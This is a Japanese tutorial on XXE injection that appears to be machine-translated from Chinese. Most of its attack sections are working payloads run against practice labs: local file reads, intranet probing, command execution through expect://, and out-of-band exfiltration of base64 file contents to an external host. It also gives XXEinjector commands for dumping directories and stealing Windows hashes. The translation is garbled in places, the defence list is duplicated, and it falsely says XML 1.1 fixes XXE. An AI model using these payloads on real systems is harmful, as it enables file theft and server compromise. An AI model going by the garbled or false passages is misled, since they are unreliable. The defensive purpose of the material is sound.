XXE 脆弱性
1. 基本的な考え方
1.1 XML の基本概念
XML は、データの送信と保存を目的として設計されています。XML ドキュメント構造には、XML 宣言、DTD ドキュメント タイプ定義 (オプション)、およびドキュメント要素が含まれています。その焦点はデータの内容です。データは HTML から分離されており、ソフトウェアから独立した情報です。およびハードウェアの転送ツール。XXE 脆弱性の完全な名前は、XML 外部エンティティ インジェクションです。これは、XML 外部エンティティ インジェクションの脆弱性です。XXE 脆弱性は、アプリケーションが XML 入力を解析するときに発生し、外部エンティティのロードを禁止しません。その結果、悪意のある外部ファイルが侵入する可能性があります。ファイルの読み取り、コマンドの実行、イントラネットの障害、ポート スキャン、イントラネット Web サイトへの攻撃、その他の危険を引き起こします。
1.2 XML と HTML の主な違い
XML は、データの内容に重点を置いて、データを転送および保存するように設計されています。
HTML はデータを表示するために設計されており、データの外観に重点が置かれています。
HTML は情報を表示するように設計されており、XML は情報を送信するように設計されています。
1.3 XML の例
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
2. 実証事例
2.1 ピカチュウ射撃場 XML
libxml2 | PHP | ジャワ | 。ネット |
---|---|---|---|
ファイル http ftp |
ファイル http ftp php compress.zlib compress.bzip2 データ glob phar |
http https ftp ファイル jar netdoc mailto gopher * |
ファイル http https ftp |
射撃場をオープンする
2.1.1 ファイルの読み込み
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<x>&xxe;</x>
注: ファイル読み取りの前提条件は、読み取るファイルが存在することです。
2.1.2 イントラネット プローブまたはイントラネット アプリケーションへの攻撃 (脆弱性アドレスのトリガー)
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY wuhu SYSTEM "http://192.168.188.194:80/index.txt">
]>
<x>&wuhu;</x>
上記の IP アドレスは、イントラネット上のサーバーの IP アドレスであると想定されます。ポート スキャンを実行して、ポートが開いているかどうかを確認することもできます。
アクセスしたファイルが存在しない場合は、次の情報が表示されます。
注: この状況は、多くの前提条件があるため、実際の戦闘で遭遇するのは一般的には容易ではありませんが、ファイルがイントラネット上に存在し、脆弱性が存在することは確実です。IP アドレスがイントラネット上に存在することも確認する必要があります。
2.1.4 RCE
この CASE は、expect 拡張機能がインストールされている PHP 環境でシステム コマンドを実行します。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
id は実行するコマンドです。実際の戦闘状況に遭遇するのはさらに困難です。
2.1.5 外部エンティティ DTD の導入
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
%file;
]>
<x>&send;</x>
evil2.dtdファイル
ファイルの内容は次のとおりです。
<!ENTITY send SYSTEM "file:///c:/wuhu.txt">
条件:相手のアプリケーションが外部実体参照を無効にしていないか確認する これもXXE対策です。
2.1.6 エコーなしでファイルを読み取る
まず射撃場のエコーコードをコメントアウトします。
攻撃コード:
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/wuhu.txt">
<!ENTITY % dtd SYSTEM "http://192.168.188.197/test.dtd">
%dtd;
%send;
]>
テスト.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'http://192.168.188.197/?data=%file;'>"
>
%payload;
上記の URL は通常、私たちの Web サイトです。最初のステップでファイルにアクセスし、次に dtd ファイルにアクセスし、読み取ったデータを data に割り当てます。後は、それを自分の Web サイトのログに保存するか、php スクリプトを書くだけです。 . 読み込まれたファイルデータが確認できます。
phpstudy–Apache ログを有効にする
その後、攻撃を実行し、応答が表示されない場合は、ログ情報を確認します。
3. XXE バイパス
「ENTITY」「YSTEM」「file」などのキーワードがフィルタリングされます
エンコードを使用してバイパス: UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
http がフィルタリングされている場合は、次のコマンドを使用してそれをバイパスできます
3.1 data:// プロトコルのバイパス
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> ">
%a;
%b;
]>
<test>&hhh;</test>
3.2 file:// プロトコルとファイルのアップロード
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
3.3 php://filter プロトコルとファイルのアップロード
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>
<!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
4. XXE射撃場
4.1 xxe-lab 射撃場
https://github.com/c0ny1/xxe-lab
bp を使用してデータ パケットをキャプチャすると、Content-Type パラメーターが application/xml であることがわかり、データの送信に XML 言語が使用されていることを示します。また、転送されるデータ内のコードも XML 言語で記述されます。これは XXE 脆弱性の存在を証明します。
ペイロード:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///C:/wuhu.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
データ パケットをリクエスト モジュールに送信し、攻撃ペイロードを指定された場所にコピーしてパケットを送信します。
ファイルを読んでユーザー名とパスワードを取得します
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY test SYSTEM "PHP://filter/read=convert.base64-encode/resource=C:/software/phpstudy_pro/WWW/xxe-lab-master/php_xxe/doLogin.php">
]>
<user><username>admin;&test;</username><password>123456</password></user>
読み取ったコンテンツを Base64 デコードします。
ページに戻ってログインします。
4.2 CTF-ジャービス-OJ-Web-XXE
以下のページにアクセスします
「Go!」をクリックし、BurpSuite を使用してパケットをキャプチャします。
Content-Typeのパラメータはapplication/json型で、渡されるデータ形式はJSON形式であることがわかります。
次に、Content-Type タイプを XML に変更し、構築されたペイロードを送信します。
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY ss SYSTEM "file:///etc/passwd">
]>
<x>&ss;</x>
etc以下のシャドウファイルを読み込みます
4.3 Vulnhub/XXE ラボ: 1
範囲アドレス: Vulnhub/XXE Lab: 1。
ダウンロード リンク:ダウンロード (ミラー)。
5. XXE ツール
XXEinjector 自体は、非常に豊富な操作オプションのセットを提供するため、侵入テストに XXEinjector を使用する前に、これらの構成オプションを調べて理解し、XXEinjector の機能を最大限に活用してください。もちろん、XXEinjector は Ruby をベースに開発されているため、Ruby の実行環境が必要です。kali 環境で実行することをお勧めします。
5.1 アドレスの取得
https://github.com/enjoiz/XXEinjector
https://github.com/enjoiz/XXEinjector/archive/master.zip
5.2 パラメータの説明
--host # 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file # 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path # 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute # 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger # 记录输出结果。
--rhost # 远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport # 远程主机的TCP端口信息。(--rport=8080)
--phpfilter # 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc # 使用netdoc协议。(Java).
--enumports # 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes # 窃取运行当前应用程序用户的Windows哈希。
--expect # 使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload # 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt # XSLT注入测试。
--ssl # 使用SSL。
--proxy # 使用代理。(--proxy=127.0.0.1:8080)
--httpport # Set自定义HTTP端口。(--httpport=80)
--ftpport # 设置自定义FTP端口。(--ftpport=21)
--gopherport # 设置自定义gopher端口。(--gopherport=70)
--jarport # 设置自定义文件上传端口。(--jarport=1337)
--xsltport # 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test # 该模式可用于测试请求的有效。
--urlencode # URL编码,默认为URI。
--output # 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout # 设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout # 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast # 跳过枚举询问,有可能出现结果假阳性。
--verbose # 显示verbose信息。
5.3 ツールの使用法
HTTPS アプリケーションの /etc ディレクトリを列挙します。
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
gopher (OOB メソッド) を使用して /etc ディレクトリを列挙します。
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次的な悪用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
HTTP アウトオブバンド メソッドと netdoc プロトコルを使用してファイルをエクスプロイトします。
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
直接利用によるリソースの列挙:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
フィルタリングされていないポートを列挙します。
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
Windows ハッシュを盗みます。
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
Java jar を使用してファイルをアップロードします。
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
PHP を使用してシステム コマンドを実行します。
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
XSLT インジェクションをテストします。
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
ログリクエスト情報:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
6. XXE セキュリティ防御
XXE 攻撃を防ぐには、次の対策を講じることができます。
- 入力検証とフィルタリング: 受信した XML 入力に対して厳密な入力検証とフィルタリングを実行します。期待される形式と構造に準拠する XML データのみが受け入れられ、信頼できない入力や異常な入力は拒否されるようにします。
- 外部エンティティの解析を無効にする: XML パーサーで、外部エンティティの解析を無効にするか制限します。これは、パーサー パラメーターを設定するか、セキュリティ構成ファイル (XXE 防御テンプレートなど) を使用するか、プログラムによって実行できます。
- ローカル DTD を使用する: 外部 DTD (Document Type Definition) ファイルの使用を避け、ローカル DTD またはインライン DTD を使用して XML 構造を定義します。これにより、攻撃者が外部エンティティ宣言を利用するのを防ぎます。
- 解析時にネットワーク アクセスを無効にする: XML 解析時に外部ネットワーク リソースへのアクセスが無効または制限されるように XML パーサーを構成し、リモート エンティティまたはリソースが読み込まれないようにします。
- 安全な解析ライブラリを使用する: セキュリティ監査と脆弱性修正が行われた XML 解析ライブラリの使用を選択します。必ず最新バージョンの解析ライブラリを使用し、セキュリティパッチを速やかに適用してください。
- ホワイトリスト検証: ホワイトリスト検証を使用して、ビジネス ニーズに基づいて、許可されるエンティティと法的データ タイプを制限します。必要なエンティティとデータ型のみが許可され、他のエンティティと信頼できないデータ型は拒否されます。
- セキュリティ構成: ファイル システムのアクセス許可の制限、外部ネットワーク要求の禁止など、サーバーとアプリケーションのセキュリティ構成を構成して、攻撃対象領域とリスクを軽減します。
- 最新の XML 仕様にアップグレードする: XML 1.1 バージョンなどの最新の XML 仕様を使用します。新しい仕様には、XXE 攻撃に対するいくつかの改善と修正が含まれています。
パーサー パラメーター。セキュリティ構成ファイル (XXE 防御テンプレートなど) を使用するか、プログラムによって実行されます。 - ローカル DTD を使用する: 外部 DTD (Document Type Definition) ファイルの使用を避け、ローカル DTD またはインライン DTD を使用して XML 構造を定義します。これにより、攻撃者が外部エンティティ宣言を利用するのを防ぎます。
- 解析時にネットワーク アクセスを無効にする: XML 解析時に外部ネットワーク リソースへのアクセスが無効または制限されるように XML パーサーを構成し、リモート エンティティまたはリソースが読み込まれないようにします。
- 安全な解析ライブラリを使用する: セキュリティ監査と脆弱性修正が行われた XML 解析ライブラリの使用を選択します。必ず最新バージョンの解析ライブラリを使用し、セキュリティパッチを速やかに適用してください。
- ホワイトリスト検証: ホワイトリスト検証を使用して、ビジネス ニーズに基づいて、許可されるエンティティと法的データ タイプを制限します。必要なエンティティとデータ型のみが許可され、他のエンティティと信頼できないデータ型は拒否されます。
- セキュリティ構成: ファイル システムのアクセス許可の制限、外部ネットワーク要求の禁止など、サーバーとアプリケーションのセキュリティ構成を構成して、攻撃対象領域とリスクを軽減します。
- 最新の XML 仕様にアップグレードする: XML 1.1 バージョンなどの最新の XML 仕様を使用します。新しい仕様には、XXE 攻撃に対するいくつかの改善と修正が含まれています。
- セキュリティの監査とテスト: コード レビュー、侵入テスト、脆弱性スキャンなどのセキュリティの監査とテストを定期的に実施し、潜在的な XXE 脆弱性を発見して修正します。